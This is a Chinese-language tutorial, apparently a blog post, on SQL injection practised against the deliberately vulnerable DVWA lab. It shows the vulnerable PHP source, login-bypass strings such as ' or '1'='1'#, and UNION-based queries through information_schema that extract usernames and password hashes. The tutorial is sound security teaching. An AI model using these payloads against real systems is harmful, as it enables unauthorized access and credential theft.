SQL注入的原理
SQL注入的危害
搭建deva靶场
修改 /config/config.inc.php.dist 的文件
再将文件后缀的dist删掉
本地访问成功,为了方便将DVWA-master文件名改成dvwa方便访问
重置一下数据库,就可以正常使用
默认的用户名密码:admin,password
发现输入框有点短
修改源码—— 打开dvwa/vulnerabilities/sqli/index.php
size改成100即可
万能密码原理解析
SQL注入框尝试
万能密码登录网站后台:' or '1'='1'#
用SQL注入框来理解,我们先来查看这个登录框的SQL语句是什么
点击view source查看源码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
判断数据库的类型,这里是mysql,所以执行后面的语句
SELECT first_name, last_name FROM users WHERE user_id = '$id'
打开navicat数据库管理工具(注:要设置密码才能连接噢)
新建查询,输入SQL语句
可以看到所传递的参数是‘$id’,所以我们更改的其实是$id这个部分,我们将万能密码' or '1'='1'#代入到‘’两个引号之间,出现的效果如下
'' or '1'='1'#'
前一个单引号与第一个单引号闭合,前一段user_id=‘’表示user_id为空,判断为假,后面'1'='1'为真,所以整个句子为真,整个SQL语句为真,就把前面的SQL语句进行执行即SELECT first_name,last_name FROM users 。 #字为注释符号,把本身最后的引号注释掉。
实现效果如下,所有的用户被爆出来
注释符号的应用
--+
#
SQL注入时有些网站两者都行,有些只能用一种,两者可以都进行尝试,用于把需要输入密码的SQL语句,或者没用的引号注释掉,进行绕过
登录框尝试
依旧查看一下源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
截取所执行的SQL语句
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass'
admin' or '1'='1' limit 0,1 #
将万能语句代入到user=‘’里面去,闭合sql语句,出现效果如下
即使密码随便乱输——依旧显示登陆成功
实现原理如图
前面 user = ‘admin’判断为真,or后面‘1’=‘1’也为1,1 or 1所以整个语句判断为真,#字号后面被注释掉,所有密码随便输什么都可以实现了对密码的绕过(注意:这种情况使我们知道数据库有一个用户名为admin,所以前一个语句判断为真,那如果我们用户名密码什么都不知道的话,我们用户名也可以乱输,因为or语句后面判断为真,依旧可以实现绕过)比如admin换成sb
依旧成功
常用的SQL语句
select : 查询语句
where: 搜索/过滤语句
select * from 'users' where user = 'admin'
limit : 限制语句
(limit 0,1) ----> 从第 0 行开始 往下输出 1 行 所以输出的是第1行
(limit 1,1) -----> 从第 1 行开出 往下输出 1 行 所以输出的是第2行
order by : 排序语句
SQL注入
SQL注入的分类
SQL注入的测试方式-数字型
SELECT * FROM users WHERE id=$id LIMIT 0,1
payload :
SELECT * FROM users WHERE id=2 LIMIT 0,1方法一:
1 and 1=1 ---> 正常的
1 and 1=2 ---> 不正常的
这个参数能够被我们所控制 ----> 这里存在sql注入
方法二:
直接输入'
如果报错 or 页面没有正常显示内容,说明这里可能存在 sql注入 。
(为什么嘞?因为数字型,你加一个单引号,没有引号跟它闭合所以肯定会报错)
SQL注入的测试方式-字符型
SELECT first_name, last_name FROM users WHERE user_id = '$id';
payload:
SELECT first_name, last_name FROM users WHERE user_id = '1';
1' and '1'='1 ----> 正常的
1' and '1'='2 ----> 不正常的
这个参数能够被我们所控制 ----> 这里存在sql注入(字符型)如果直接输入 1 and 1=2 如果是数字型就会报错,字符型就不会,为什么嘞?
因为在这里把 1 and 1=2当做一个字符串,php代码中如果string类型转化为整数类型,会截取第一个数字,比如1sxjklnm转化为数字型就是1,所以后面是=1还是=2没有影响,回显都是一样的。
直接输入单个‘,也可以判断有无sql注入
如果报错 or 页面没有正常显示内容,说明这里可能存在 sql注入 。这里我的理解也是引号的闭合问题,同数字型
联合查询
SQL中UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
目标:数据库里面的信息,直白点账号密码。
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 4#';
报错:Unknown column '4' in 'order clause' ---> 数据库里面没有 4 列SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';
不报错并且内容可以正常现在:order by 的作用使用来判断我的数据库回显的列数。#作用:注释掉尾巴那个单引号’
union : 联合查询
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2#';SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2,3#';
报错:The used SELECT statements have a different number of columns联合查询前后的个数必须要一样,所以用order by来判断个数,得到个数之后使用联合查询
实现效果:
目标就是我们通过union select后面的参数变化,改成目标数据的查询语句,union select前面的回显其实无所谓,因此我们可以改为0 或者 -1,类似的,使其查询结果为空。
基本获取数据的payload
查询数据库版本 select version()
查询数据库名称 select database()
查询当前数据库用户名 select user()
实现效果:
information_schema数据库
数据库中存放着当前数据库的所有信息
这个数据库中两个表要重点关注:
TABLES, COLUMNS
TABLES 数据表,存放着我现在整个数据库软件里面的所有数据表的信息
COLUMNS 数据表,存放着现在整个数据库软件里面的所有数据列的信息
select (列名) from (表名);——思路:由表名到列名,得到我们要的数据
通过 information_schema 数据库获取相应的信息
SELECT first_name, last_name FROM users WHERE user_id = '-1' union select 1111,table_name from information_schema.TABLES WHERE table_schema=database()#';
table_name from information_schema.TABLES:在数据库的表中选table_name
table_schema=database():在当前的数据库中
已知的信息:
当前数据库 dvwa 有两张表 users,guestbook
SELECT first_name, last_name FROM users WHERE user_id = '-1' union select 1111,column_name from information_schema.columns WHERE table_schema=database() and table_name='users'#';![]()
已知的信息:
当前数据库 dvwa 有两张表 users,guestbook
users 数据表中有 两个列是我们关心的 user,password
SELECT first_name, last_name FROM users WHERE user_id = '-1' union select user,password from users#';
爆出用户和对应的密码,成功。
总结过程
low:
1' and '1'='1 //判断正确
1' and '1'='2 //判断错误
1' order by 2 # //判断数据表的列数
-1' union select 1,2; # //查看信息泄露的点
-1' union select database(),2; # //通过泄露点查看数据库的名称
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(); # //查询当前数据库里面所有表的名字
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'; # //查询 users 表里面的所有列的名字
-1' union select user,password from users; #
group_concat(列名):会把这一列中所有的内容在一行中以,隔开输出
实验过程一些问题
出现如图报错,是编码问题,将 first_name last_name的编码要与information_schema.tables编码一致,点击user,右键,然后设计表即可进行更改排序规则。